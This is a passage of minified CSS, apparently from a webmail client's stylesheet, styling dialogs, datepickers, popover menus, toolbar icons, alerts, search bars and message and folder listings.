rgba(255,85,82,.53)}.ui-widget-overlay{background-color:rgba(44,54,58,.5);opacity:1!important}.ui-widget-overlay.datepicker{z-index:119}.ui-widget{border:1px solid #d4dbde;box-shadow:3px 3px 5px #f1f3f4;border-radius:.3rem}.ui-datepicker,.ui-dialog,.ui-slider{box-shadow:none}.ui-menu{overflow-y:auto;overflow-x:hidden;max-height:400px;border-radius:.3rem;z-index:240;position:absolute}.ui-menu .ui-state-active{border:0!important;background-color:#37beff!important}.ui-menu .ui-menu-item{white-space:nowrap;cursor:default}.ui-menu .ui-menu-item-wrapper{margin:0!important}.ui-dialog{border-radius:0}.ui-dialog .ui-dialog-titlebar{height:58px;border-bottom:1px solid #ddd}.ui-dialog .ui-dialog-titlebar button:before{margin:0}.ui-dialog .ui-dialog-title{line-height:58px;font-size:1.25rem;padding:0 3rem 0 1rem;color:#2c363a}.ui-dialog .ui-dialog-titlebar-close{border:0;color:#2c363a;background:0 0;right:0;top:0;position:absolute;padding:.25rem .5rem;margin:15px .5rem}.ui-dialog .ui-dialog-titlebar-close:before{content:"\f00d";line-height:1.5rem;margin:0!important}.ui-dialog .ui-dialog-content>.popupmenu{display:block!important}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{display:flex;justify-content:flex-end}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link,.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button{overflow:hidden;text-overflow:ellipsis;min-width:5rem;margin:9px 4px}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link:last-child,.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button:last-child{margin-right:0}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link{padding-right:0;padding-left:0;text-decoration:none;color:#2c363a}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link:focus{background-color:rgba(55,190,255,.5)}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link.options{order:-1;padding:.375rem .25rem;margin-right:.3rem}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link.options:before{content:"\f013";width:100%;height:1.25em}.ui-dialog .ui-dialog-content.iframe,.ui-dialog iframe{padding:0;width:100%!important;height:100%;border:0;overflow:hidden}.ui-dialog,.ui-dialog-content{box-sizing:initial}.ui-widget-content .ui-icon.ui-resizable-se{background:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2016%2016%22%3E%0A%20%20%3Cpath%20fill%3D%22%23888%22%20d%3D%22M6.7%2016L16%206.7V5.3L5.3%2016zM9.7%2016L16%209.7V8.3L8.3%2016zM12.7%2016l3.3-3.3v-1.4L11.3%2016zM15.7%2016l.3-.3v-1.4L14.3%2016z%22%2F%3E%0A%3C%2Fsvg%3E%0A")}@media screen and (max-width:480px){.ui-dialog{width:100%!important;height:100%!important;display:flex;flex-direction:column;border:0;top:0!important}.ui-dialog .ui-dialog-titlebar-close,.ui-dialog .ui-resizable-handle{display:none!important}.ui-dialog .ui-dialog-titlebar{height:58px;text-align:center;background-color:#f4f4f4}.ui-dialog .ui-dialog-title{line-height:58px;font-size:1rem;padding:0 1rem}.ui-dialog .ui-dialog-content{flex:1}.ui-dialog .ui-dialog-content:not(.iframe){padding:1rem}.ui-dialog .ui-dialog-buttonpane{padding:0!important;text-align:center!important;border-top:1px solid #ddd;height:58px!important;background-color:#f4f4f4}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{justify-content:space-around}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button{margin:0!important;padding:.45rem;border:0!important;height:58px;box-shadow:none;font-size:90%;line-height:1.5}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button:before{display:block!important;float:none;width:auto;height:1.75rem;line-height:1.75;margin:0!important}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button:active{box-shadow:none}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button.btn-primary,.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button.btn-secondary{color:#2c363a;background:0 0}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button.btn-danger{color:#ff5552;background:0 0}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button.disabled,.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button:disabled{opacity:.5}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset button.cancel{order:100}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link{color:#2c363a;margin:0;padding:.45rem;font-size:90%}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link.options:before{display:block!important;height:1.75rem;line-height:1.75;margin:0}}.ui-slider .ui-slider-range{border-radius:.3rem;background:#d0f0ff}.ui-slider .ui-slider-handle{border-radius:.3rem}.ui-slider .ui-slider-handle.ui-state-active{background:#37beff;border-color:#005984}.ui-datepicker{margin:calc(50vh - 10em) calc(50vw - 10em)!important;top:0!important;left:0!important;user-select:none}.minicolors-panel,.popover{box-shadow:3px 3px 5px #f1f3f4}.ui-datepicker:not(.ui-datepicker-inline){z-index:120!important}.ui-datepicker .ui-datepicker-header,.ui-datepicker .ui-datepicker-title{line-height:4rem;height:4rem;padding:0}.ui-datepicker .ui-datepicker-header{border-bottom:1px solid #ddd}.ui-datepicker .ui-datepicker-header a{height:4rem}.ui-datepicker .ui-datepicker-header select{display:inline-block}.ui-datepicker .ui-icon{background-image:none!important;background-position:none!important}.ui-datepicker .ui-datepicker-next,.ui-datepicker .ui-datepicker-prev{cursor:pointer;width:auto;color:#2c363a;text-decoration:none}.ui-datepicker .ui-datepicker-next:before,.ui-datepicker .ui-datepicker-prev:before{margin:0 .25em;height:auto;width:1em}.popover .menu li a[aria-haspopup]:after,.ui-datepicker .ui-datepicker-next:before{content:"\f054"}.ui-datepicker td a{padding:0;line-height:1.8em;border-radius:.3rem}.ui-datepicker .ui-state-default,.ui-datepicker.ui-widget-content .ui-state-default{border:0;background:0 0;color:#2c363a}.ui-datepicker .ui-datepicker-days-cell-over a,.ui-datepicker .ui-datepicker-days-cell-over a.ui-state-default,.ui-datepicker .ui-state-highlight,.ui-datepicker.ui-widget-content .ui-state-highlight{background:#d0f0ff;color:#37beff}.ui-datepicker a.ui-state-active{background:#37beff!important;color:#fff!important;font-weight:700}.ui-datepicker html.touch td a{font-size:1.2em;line-height:2.2em}.input-group>.form-control.hasDatepicker{position:initial}.minicolors-panel{border:1px solid #d4dbde;border-radius:.3rem;height:152px;padding:1px}.input-group .minicolors-input{width:100%;min-width:130px;border-left:0;border-right:0}@media screen and (max-width:320px){.ui-widget-content{border-radius:0}.ui-menu{border-radius:.3rem;left:15px!important;right:15px;width:auto}.ui-dialog .ui-dialog-content:not(.iframe){padding:.65rem}}.popupmenu{display:none;padding:0;min-width:180px;height:100%}.popupmenu li>a{width:100%}.popupmenu.propform{overflow:hidden;padding:.25rem}.popupmenu.simplelist{min-width:80px}.popup.justified{display:flex;justify-content:space-around}.popover-body{padding:0;overflow-x:hidden}.popover-body>.popupmenu{display:block!important}.popover{border-color:#d4dbde;padding:0;z-index:1300}.popover .popover-header{display:none}@media screen and (min-width:769px){.popover .listing li:first-child{border-radius:.25rem .25rem 0 0}.popover .listing li:last-child{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.popover .listing ul.rounded-0>li{border-radius:0}}html.layout-phone .popover:not(.select-menu),html.layout-small .popover:not(.select-menu){margin:0!important;padding:0;right:0;left:initial!important;bottom:0;top:0;width:272px;transform:none!important;border-radius:0;border:0;display:flex;flex-direction:column;box-shadow:none}html.layout-phone .popover:not(.select-menu) div.arrow,html.layout-small .popover:not(.select-menu) div.arrow{display:none}html.layout-phone .popover:not(.select-menu) .listing li:last-child,html.layout-small .popover:not(.select-menu) .listing li:last-child{border-bottom:1px solid #f1f3f4}html.layout-phone .popover-overlay,html.layout-small .popover-overlay{z-index:1299;background-color:rgba(44,54,58,.5);position:absolute;top:0;bottom:0;width:100%}html.layout-phone .popover-header,html.layout-small .popover-header{display:block;border-radius:0;border:0;padding:0 .5em;height:58px;min-height:58px;line-height:58px;font-size:16px;color:#fff;background-color:#005984}.menu a:not(.disabled):focus,.menu a:not(.disabled):hover,.menu.toolbar .dropbutton:not(.disabled):hover{background-color:#ececec}html.layout-phone .popover-header:before,html.layout-small .popover-header:before{display:none}html.layout-phone .popover-header a,html.layout-small .popover-header a{display:inline-block;width:100%;color:#fff}html.layout-phone .popover-body>*,html.layout-small .popover-body>*{max-height:100%!important}html.touch .popover .listing li a{line-height:47px;font-size:16px;padding:0 .5em}html.touch .popover .listing li a:before{float:left}.select-menu{max-width:initial;margin:0;height:auto;z-index:1301}.select-menu .popover-header{border-radius:.25rem .25rem 0 0!important}.select-menu .listing li a{padding-left:.25rem;outline:0}.select-menu .listing li:last-child{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.select-menu.inline .listing li{padding-right:.5rem}.select-menu.inline .listing li:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.pgpkeyimport div.key{position:relative;padding:.5rem 0}.pgpkeyimport div.key.disabled,.pgpkeyimport div.key.revoked{color:#737677}.pgpkeyimport div.key label{display:inline-block;margin-right:.5em;margin-bottom:0}.pgpkeyimport button:disabled,.pgpkeyimport div.key label.keyid{display:none}.pgpkeyimport div.key label:after{content:":"}.pgpkeyimport div.key label+a,.pgpkeyimport div.key label+span{line-height:2.6rem;margin-right:1em;white-space:nowrap;text-decoration:none}.pgpkeyimport div.key label.keyid+a{font-weight:700}.pgpkeyimport div.key label.keyid+a:before{content:"\f084"}.pgpkeyimport ul.uids{margin:0;padding:0}.pgpkeyimport li.uid{border:0;padding:.25rem 0 0 1.5em;line-height:1.5rem!important;list-style-type:none}.pgpkeyimport li.uid:before{content:"\f007";opacity:.25;font-size:1em;line-height:1.25}.pgpkeyimport button.importkey{position:absolute;top:.5rem;right:0}.menu{margin:0;text-align:center;white-space:nowrap}.menu a{overflow:hidden;text-overflow:ellipsis;text-decoration:none}.menu a:before{content:"\00a0"}.menu a:focus,.menu a:hover{outline:0}.menu.toolbar li{display:inline-block;height:58px}.menu.toolbar a{color:#2c363a;display:block;float:left;border:0!important;height:58px;min-width:3.2rem;max-width:6rem;width:auto;padding:.45rem;line-height:1.5;cursor:pointer;font-size:1rem;text-align:center}.menu.toolbar a:before{height:1.75rem!important;float:none!important;width:auto!important;margin:0!important}.menu.toolbar a.selected{color:#41b849}.menu.toolbar>.spacer{width:1em}.menu.toolbar .dropbutton a.dropdown{padding:0 .3rem}.menu.toolbar .dropbutton a.dropdown:before{line-height:58px}.menu.toolbar .dropbutton a.dropdown:hover{background-color:#e0e0e0}.menu span.inner{font-size:90%;font-weight:400}.menu .dropbutton{display:inline-block}.menu .dropbutton a.dropdown{font-size:75%;min-width:0}html.ie11 .menu .dropbutton a.dropdown:before{font-size:80%}.menu .dropbutton a.dropdown span.inner{display:none}.menu .dropbutton a:first-child{padding-right:0}.menu.pagenav{display:flex;justify-content:space-between;align-items:center;padding:0!important;font-size:100%}.menu.pagenav a{flex-grow:1;display:inline-block;min-width:2rem!important;height:35px;color:#2c363a}.menu.pagenav a:before{margin:0;display:inline;float:none;line-height:35px}.menu.content-frame-navigation.hide-nav-buttons a.next,.menu.content-frame-navigation.hide-nav-buttons a.prev,.menu.pagenav span.inner,html.layout-phone .menu.pagenav input{display:none}.menu.pagenav .pagenav-text{overflow:hidden;text-overflow:ellipsis;color:#737677;flex-grow:4;font-size:80%}.menu.pagenav input{width:3rem;max-width:5rem;font-size:90%;text-align:center;max-height:1.6rem;margin:0 .2rem}.menu.pagenav.pagenav-list{cursor:pointer;border-bottom:1px solid #f1f3f4}.menu.pagenav.pagenav-list a{flex-grow:unset}.menu.pagenav.pagenav-list .pagenav-text{text-align:left;font-size:100%}.menu.pagenav.pagenav-list.expanded+.navlist{border-bottom:1px solid #d4dbde}.menu .listselectors{max-width:100%;display:flex;justify-content:space-around}.menu .buttons{display:block}.menu .buttons button{display:block;float:left;cursor:pointer;color:#2c363a;background-color:transparent;border:0;padding:0;height:58px;line-height:58px;width:2.5em}.menu .buttons button:before{font-size:1.75rem}.popover .menu li{display:block;height:auto;text-align:left}.popover .menu li.spacer{display:none}.popover .menu li:last-child{border:0}.popover .menu li.separator{line-height:1.5rem!important;font-size:.75rem!important;padding:0 .5rem;color:#737677;background-color:#f1f3f4}.popover .menu li.separator label{margin:0}.popover .menu li a{height:unset;max-width:100%;width:100%;line-height:35px;display:block;padding:0 .5rem;text-align:left}.popover .menu .dropbutton,.popover .menu li a[aria-haspopup]{display:flex}.popover .menu li a:before{line-height:inherit;height:inherit!important;margin-right:.5rem!important;float:left!important;width:1.18em!important;min-width:1.18em}.popover .menu li a:not(.disabled):hover{color:#fff;background-color:#37beff}.popover .menu li a[aria-haspopup]:after{color:#737677;font-size:.9em;margin:0 0 0 .2em;min-width:1.18em}html.layout-small .popover .menu li a[aria-haspopup]:after{margin:0 .2em}.popover .menu li a[aria-haspopup].dropdown:after{color:#2c363a;margin:0 .6em!important}.popover .menu li a[aria-haspopup]:hover:after{color:#fff}.popover .menu li a[aria-haspopup]>span{overflow:hidden;text-overflow:ellipsis;flex:1}.popover .menu li span.inner{font-size:100%}.popover .menu .dropbutton a:first-child{overflow:hidden;text-overflow:ellipsis;flex:1}.popover .menu .dropbutton:not(.disabled):hover{background-color:#f6f6f6}.popover .menu .dropbutton a.dropdown{width:3.5rem;padding:0 .5em;background-color:#f6f6f6}.popover .menu .dropbutton a.dropdown:hover{background-color:#37beff}.popover .menu .dropbutton a.dropdown span.inner,.popover .menu .dropbutton a.dropdown:before,.popover .menu.no-icon a:before{display:none}@media screen and (min-width:769px){.content-frame-navigation{display:none!important}.header a.button.icon:not(.disabled):focus,.header a.button.icon:not(.disabled):hover{background-color:#ececec;outline:0}.header a.button.icon:before{margin:0}}@media screen and (max-width:768px){.menu.footer{justify-content:space-around!important}.menu.footer>*{flex-grow:1}.menu.footer .buttons{display:flex;justify-content:space-evenly}.menu.footer .listselectors>*{flex-grow:1}.menu.listing a{color:#2c363a}}a.toolbar-button{cursor:pointer}@media screen and (min-width:1201px){a.toolbar-button{line-height:1.5;padding:.45rem}a.toolbar-button:before{float:none!important;height:1.75rem!important;line-height:1.5;width:auto!important}a.toolbar-button span.inner{display:inline!important;font-weight:400;font-size:90%}}.menu a.mail:before{content:"\f0e0"}.menu a.contacts:before{content:"\f0c0"}.menu a.options:before{content:"\f1de"}.menu a.settings:before{content:"\f013"}.menu a.theme.light:before{content:"\f185"}.menu a.theme.dark:before{content:"\f186"}.menu a.help:before{content:"\f1cd"}.menu a.logout:before{content:"\f011"}.menu a.about:before{content:"\f128"}.menu a.compose:before{content:"\f044"}.menu a.calendar:before{content:"\f073"}.menu a.tasklist:before{content:"\f0ae"}.menu a.files:before{content:"\f07b"}.menu a.notes:before{content:"\f249"}.menu a.chat:before{content:"\f086"}.menu a.actions:before{content:"\f013"}.menu a.addressbook:before{content:"\f007"}.menu a.archive:before{content:"\f187"}.menu a.assigngroup:before{content:"\f234"}.menu a.attach:before,.menu a.vcard:before{content:"\f0c6"}.menu a.next:before{content:"\f061"}.menu a.back:before,.menu a.prev:before{content:"\f060"}.menu a.check:before{content:"\00a0"}.menu a.check.selected:before{content:"\f00c"}.menu a.closewin:before{content:"\f410"}.menu a.collapse:before{content:"\f107"}.menu a.copy:before{content:"\f0c5"}.menu a.create:before{content:"\f0fe"}.menu a.delete:before{content:"\f2ed"}.menu a.download.eml:before,.menu a.download.maildir:before,.menu a.download.mbox:before,.menu a.download:before{content:"\f019"}.menu a.dropdown:before{content:"\f0d7"}.menu a.edit:before{content:"\f303"}.menu a.encrypt.sign:before,.menu a.encrypt:before,.menu a.enigma:before{content:"\f023"}.menu a.expand:before{content:"\f105"}.menu a.expand.all:before{content:"\f103"}.menu a.expand.none:before{content:"\f102"}.menu a.export.all:before,.menu a.export.selection:before,.menu a.export:before{content:"\f019"}.menu a.expunge:before{content:"\f78c"}.menu a.extwin:before{content:"\f360"}.menu a.filterlink:before{content:"\f0b0"}.menu a.firstpage:before{content:"\f100"}.menu a.nextpage:before{content:"\f105"}.menu a.prevpage:before{content:"\f104"}.menu a.lastpage:before{content:"\f101"}.menu a.flag:before,.menu a.select.flagged:before{content:"\f024";font-weight:900}.menu a.unflag:before{content:"\f024";font-weight:400}.menu a.undo:before{content:"\f01e"}.menu a.folders:before{content:"\f07b"}.menu a.forward.attachment:before,.menu a.forward.bounce:before,.menu a.forward.inline:before,.menu a.forward:before{content:"\f064"}.menu a.import:before,.menu a.upload:before{content:"\f093"}.menu a.insertresponse:before{content:"\f075"}.menu a.junk:before{content:"\f7e4"}.menu a.notjunk:before{content:"\f01c"}.menu a.markmessage:before{content:"\f02b"}.menu a.more:before{content:"\f141"}.menu a.move:before{content:"\f07c"}.menu a.print:before{content:"\f02f"}.menu a.properties:before{content:"\f15b"}.menu a.purge:before{content:"\f12d"}.menu a.qrcode:before{content:"\f029"}.menu a.read:before{content:"\f2b6";font-weight:400}.menu a.expand.unread:before,.menu a.select.unread:before,.menu a.unread:before{content:"\f0e0";font-weight:900}.menu a.recipient:before{content:"\f0e0";font-weight:400}.menu a.refresh:before{content:"\f021"}.menu a.remove:before{content:"\f12d"}.menu a.removegroup:before{content:"\f235"}.menu a.rename:before{content:"\f303"}.menu a.reply:before{content:"\f3e5"}.menu a.reply-all:before,.menu a.reply.all:before,.menu a.reply.list:before{content:"\f122"}.menu a.responses:before{content:"\f075"}.menu a.rotate:before{content:"\f2f9"}.menu a.save:before{content:"\f0c7";font-weight:400}.menu a.search:before{content:"\f002"}.menu a.search.delete:before{content:"\f2ed"}.menu a.select:before{content:"\f245"}.menu a.select.all:before{content:"\f069"}.menu a.select.invert:before{content:"\f14a"}.menu a.select.none:before{content:"\f00d";font-weight:900}.menu a.select.page:before{content:"\f0c9";font-weight:900}.menu a.selection:before{content:"\f14a"!important;font-weight:400!important}.menu a.send:before{content:"\f1d8"}.menu a.showurl:before{content:"\f0c1"}.menu a.signature:before{content:"\f5b7"}.menu a.source:before{content:"\f1c9"}.menu a.spellcheck:before{content:"\f891"}.menu a.status:before{content:"\f0eb";font-weight:400}.menu a.submit:before{content:"\f00c"}.menu a.info:before,.ui.alert>i.icon:before{content:"\f05a"}.menu a.threads:before{content:"\f086"}.menu a.zoomin:before{content:"\f00e"}.menu a.zoomout:before{content:"\f010"}.searchbar{height:36px;min-height:36px;line-height:36px;border-bottom:1px solid #f1f3f4;display:flex;align-items:center;overflow:hidden;position:relative}.searchbar form{flex:1;display:flex}.searchbar a.reset,.searchbar a.search,.searchbar span.inner{display:none}.searchbar form:before{content:"\f002";height:36px;color:#737677;margin:0 0 0 .75rem}.searchbar input{width:100%;border:0;background:0 0;padding:.5rem;line-height:normal;outline:0}.searchbar input::-ms-clear{display:none}.searchbar a{color:#2c363a}.searchbar a:before{width:2rem;height:36px;margin:0}.searchbar a.options:before{content:"\f107"}.searchbar a.reset:before{content:"\f00d";font-size:1rem}.searchbar a.unread:before{content:"\f0e0";font-weight:900}.searchbar a.selected{color:#41b849}.searchbar.active a.reset{display:inline}.searchbar.open a.options:before{content:"\f106"}.searchoptions button.search{width:100%}.searchoptions ul.proplist+div{margin-top:1rem}.searchoptions .input-group:not(:last-child){margin-bottom:.5rem}.searchoptions .input-group .input-group-prepend{width:30%}.searchoptions .input-group label{width:100%}.searchoptions .formbuttons{display:block!important}#taskmenu a{display:block;float:none}@media screen and (max-width:480px){#taskmenu{z-index:30001;overflow-x:hidden}#taskmenu a{max-width:unset;padding:0 .5em;margin-top:1px;text-align:left;line-height:47px;height:47px;border-bottom:1px solid #f1f3f4!important;color:#2c363a;font-size:1.2rem}#taskmenu a:before{float:left!important;width:1.2em!important;margin-right:.5rem!important}#taskmenu span.inner{font-size:100%}}@media screen and (min-width:481px){#taskmenu a{color:#fff;padding:.45rem 0;min-width:unset}#taskmenu a.selected,#taskmenu a.selected:hover,#taskmenu a:hover{color:#fff;background:#45555c}#taskmenu .special-buttons{position:absolute;bottom:0;left:0;background-color:#2f3a3f}#taskmenu .action-buttons a{color:#37beff;background:0 0}#taskmenu .action-buttons a:hover{color:#37beff;background:#45555c}#taskmenu a.logout,#taskmenu a.logout:hover{color:#ff5552!important}}@media screen and (min-width:481px) and (max-width:1024px){#taskmenu a{width:42px;height:42px;font-size:1.2rem;padding:0}#taskmenu a:before{line-height:42px}#taskmenu span.inner{display:none}}.ui.alert,.ui.alert.aligned-buttons{display:flex}@media screen and (min-width:1025px){#taskmenu a{width:78px;font-size:1rem}#taskmenu a:before{float:none}#taskmenu a:focus{background-color:#45555c}#taskmenu span.inner{padding:0 .1em}}.ui.alert{margin:0 0 .2rem;opacity:.95;width:100%;padding:.75em;color:#2c363a;border:1px solid transparent;background-color:rgba(55,190,255,.05);align-items:center}.ui.alert span{margin:auto 0}.ui.alert>i.icon{line-height:1;color:#4d5f66;margin:auto 0}.ui.alert>i.icon:before{margin-right:.6rem}.ui.alert .btn{margin-left:.5rem}.ui.alert.loading{color:#6b7275}.ui.alert.loading>i.icon:before{content:"\f1ce";-webkit-animation:spinner-border 1.5s infinite linear;animation:spinner-border 1.5s infinite linear;width:1em}.ui.alert.alert-success>i.icon:before{content:"\f058";color:#41b849}.ui.alert.alert-warning>i.icon:before{content:"\f071";color:#ffd452}.ui.alert.alert-danger>i.icon:before{content:"\f06a";color:#ff5552}.ui.alert.vcardattachment>i.icon:before{content:"\f2bb"}.ui.alert.enigmaattachment>i.icon:before{content:"\f084"}.ui.alert.encrypted>i.icon:before,.ui.alert.signed>i.icon:before{content:"\f023"}.ui.alert.chat>i.icon:before{content:"\f075"}.ui.alert .boxbuttons{white-space:nowrap}.ui.alert .boxbuttons .btn{overflow:hidden;text-overflow:ellipsis;max-width:220px}@media screen and (max-width:480px){.ui.alert{border:0}.ui.alert .boxbuttons{display:flex;flex-direction:column}.ui.alert .boxbuttons .btn{max-width:160px}.ui.alert .boxbuttons .btn:not(:first-child){margin-top:.25rem}}.ui.alert.aligned-buttons span{flex:1}.ui.alert a:not(.btn){color:#37beff;font-weight:400}.ui.alert h3{font-weight:700;font-size:1.2rem}#messagestack div i.icon,.ui.alert.boxconfirmation i.icon,.ui.alert.boxerror i.icon,.ui.alert.boxinformation i.icon,.ui.alert.boxwarning i.icon{font-size:1.5em!important}.ui.alert p{margin:1rem 0}.ui.alert.boxconfirmation,.ui.alert.boxerror,.ui.alert.boxinformation,.ui.alert.boxwarning{padding:.5em;border-radius:0}.ui.alert.boxerror{background-color:rgba(255,85,82,.2)}.ui.alert.boxinformation{background-color:rgba(55,190,255,.2)}.ui.alert.boxconfirmation{background-color:rgba(65,184,73,.2)}.ui.alert.boxwarning{background-color:rgba(255,212,82,.2)}.ui.alert+table{margin-top:1em}#messagestack{position:absolute;bottom:.5em;right:.7em;z-index:105;width:320px;height:auto;max-height:85%}#messagestack div{background-color:#2c363a;color:#fff}@media screen and (max-width:480px){#messagestack{left:0;right:0;bottom:0;width:auto}#messagestack div{margin:0;border-radius:0;min-height:4.2rem}}#messagestack div.voice{position:absolute;top:-1000px}#messagestack div>i.icon:before{color:#fff}#messagestack div:last-child{margin-bottom:0}#messagestack .loading{background-color:#6b7275}#messagestack .alert-info.information{background-color:#37beff}#messagestack .alert-success{background-color:#41b849}#messagestack .alert-warning{background-color:#ffd452;color:#2c363a}#messagestack .alert-warning>i.icon:before{color:#2c363a}#messagestack .alert-danger{background-color:#ff5552}#messagestack a{color:inherit!important;text-decoration:underline;cursor:pointer}.listing li,.listing tbody td{border-bottom:1px solid #f1f3f4;cursor:default;font-weight:400;line-height:35px}.listing li a,.listing tbody td{padding:0 .5rem;white-space:nowrap;vertical-align:middle;color:#2c363a}.listing tbody td{overflow:hidden;text-overflow:ellipsis;outline:0}.listing tbody td a{color:#2c363a}.listing li a{display:block;text-decoration:none;cursor:default;width:100%}.listing:not(.withselection) td.selection,ul.treelist.notree div.treetoggle{display:none}.listing li.selected,.listing tr.selected td{color:#2c363a;background-color:#ebf9ff}.listing td.selection{padding:0 0 0 .5em;width:2em;text-align:center}.listing td.selection>input{vertical-align:middle}.listing td.name{overflow:hidden;text-overflow:ellipsis}.listing td.action{padding:0 .5em;width:2em;text-align:center}.listing td.action:empty{width:0}.listing td.action a{display:block;overflow:hidden;text-decoration:none}.listing td.action a:before{margin:0;font-size:1rem}.listing td.action a.pushgroup:before{content:"\f054"}.listing li.droptarget>a,.listing tr.droptarget>td{background-color:#ffc}.listing li.disabled,.listing tr.disabled td{color:rgba(44,54,58,.5)}.listing span.secondary,.listing-info{color:#737677}.listing li.virtual>a,.listing li>a.virtual{opacity:.4}html:not(.touch) .listing li>a,html:not(.touch) .listing tbody tr>td:first-child,html:not(.touch) .listing:not(.withselection) tbody tr>td.selection+td{border-left:2px solid transparent}html:not(.touch) .listing li>a:focus,html:not(.touch) .listing.focus tbody tr.focused>td:first-child,html:not(.touch) .listing.focus:not(.withselection) tbody tr.focused>td.selection+td{border-left:2px solid #9ddfff;outline:0}table.listing{width:100%;table-layout:fixed;border-spacing:0;border-collapse:unset}ul.listing{margin:0;padding:0}ul.listing>ul{padding:0}ul.listing li{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;position:relative;list-style:none}ul.listing li ul{border-top:1px solid #f1f3f4;padding-left:1.5em}ul.listing li ul li:last-child{border-bottom:none}ul.listing li .custom-switch{position:absolute;padding:0;top:0;right:0;height:35px;vertical-align:middle}html.touch li input[type=checkbox],html.touch ul.listing li .custom-switch{height:47px}ul.listing li .custom-switch .custom-control-label:after,ul.listing li .custom-switch .custom-control-label:before{margin-top:.4rem}html.touch ul.listing li .custom-switch .custom-control-label:after,html.touch ul.listing li .custom-switch .custom-control-label:before{margin-top:.75rem}ul.listing.simplelist li{padding:0 .5rem}.listing-info{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);width:80%;text-align:center;font-weight:700}html.touch .listing tbody td,html.touch .listing:not(.toolbar) li{line-height:47px;font-size:1.2rem}html.touch td.selection{padding:0;width:3em}@media screen and (max-width:1200px){.listing.selection-large-only li.selected{color:#2c363a;background-color:transparent}}.listing.iconized li a:before{height:2em;margin-right:.5rem}.listing.iconized li.preferences>a:before{content:"\f1de"}.listing.iconized li.folders>a:before{content:"\f07b"}.listing.iconized li.responses>a:before{content:"\f075"}.listing.iconized li.identities>a:before{content:"\f2c2"}.listing.iconized li.password>a:before{content:"\f023"}.listing.iconized li.addressbook a:before{content:"\f2b9";font-weight:400}.listing.iconized li.contactgroup a:before{content:"\f0c0";font-weight:900}.listing.iconized li.contactsearch a:before{content:"\f002"}.listing.iconized li.filter>a:before{content:"\f0b0"}.listing.iconized li.vacation>a:before{content:"\f017";font-weight:400}.listing.iconized li.forward>a:before{content:"\f14d"}.listing.iconized li.enigma.keys>a:before{content:"\f084"}.listing.iconized li.info>a:before,.listing.iconized li.userinfo>a:before{content:"\f05a"}.listing.iconized li.twofactorauth>a:before{content:"\f2f6"}.listing.iconized li a.help:before{content:"\f1cd"}.listing.iconized li a.about:before{content:"\f059";font-weight:400}.listing.iconized li a.license:before{content:"\f3ed"}.listing.iconized li>i:before{content:"\f007";margin-left:.5rem}.listing.iconized li.group>i:before{content:"\f0c0"}html.ie11 .listing.iconized li a:before{font-size:1.25rem}.listing.iconized tr td:before{margin-right:.5rem}.listing.iconized tr.contact.person td.name:before{content:"\f007"}.listing.iconized tr.contact.group td.name:before{content:"\f0c0"}.listing.iconized tr.general>td.section:before{content:"\f108"}.listing.iconized tr.mailbox>td.section:before{content:"\f0e0";font-weight:400}.listing.iconized tr.mailview>td.section:before{content:"\f01c"}.listing.iconized tr.compose>td.section:before{content:"\f1d8"}.listing.iconized tr.addressbook>td.section:before{content:"\f0c0"}.listing.iconized tr.folders>td.section:before{content:"\f07b";font-weight:400}.listing.iconized tr.server>td.section:before{content:"\f233"}.listing.iconized tr.encryption>td.section:before{content:"\f023"}.listing.iconized tr.calendar>td.section:before{content:"\f133"}.listing.iconized tr.chat>td.section:before{content:"\f086"}.listing.iconized.selectable li a:before{content:""}.listing.iconized.selectable li a.selected:before{content:"\f00c"}.popupmenu .listing li>a{border-left:0}.popupmenu .listing li.selected,.popupmenu .listing li>a:not(.disabled):hover{color:#fff;background-color:#37beff}.popupmenu .listing td{overflow:hidden;text-overflow:ellipsis}ul.treelist li div.treetoggle{position:absolute;top:0;left:0;width:1.5em;cursor:pointer;background-color:transparent}ul.treelist li div.treetoggle:before{content:"\f105";margin-left:.25em;font-size:1em}ul.treelist li div.treetoggle.expanded:before{content:"\f107"}ul.treelist li>a{overflow:hidden;text-overflow:ellipsis;padding-left:1.5em}ul.treelist li.selected{color:inherit;background-color:transparent}ul.treelist li.selected>a,ul.treelist li.selected>div>a{color:#2c363a;background-color:#ebf9ff}ul.treelist li ul{padding:0}ul.treelist li ul li{padding-left:0}ul.treelist li ul li a{padding-left:3em}ul.treelist li ul li div.treetoggle{left:1.5em}ul.treelist li ul li li a{padding-left:4.5em}ul.treelist li ul li li div.treetoggle{left:3em}ul.treelist li ul li li li a{padding-left:6em}ul.treelist li ul li li li div.treetoggle{left:4.5em}ul.treelist li ul li li li li a{padding-left:7.5em}ul.treelist li ul li li li li div.treetoggle{left:6em}ul.treelist li ul li li li li li a{padding-left:9em}ul.treelist li ul li li li li li div.treetoggle{left:7.5em}ul.treelist.notree li>a{padding-left:.5em}.folderlist li.mailbox.unread>a{padding-right:2.8em;font-weight:700}.folderlist li.mailbox 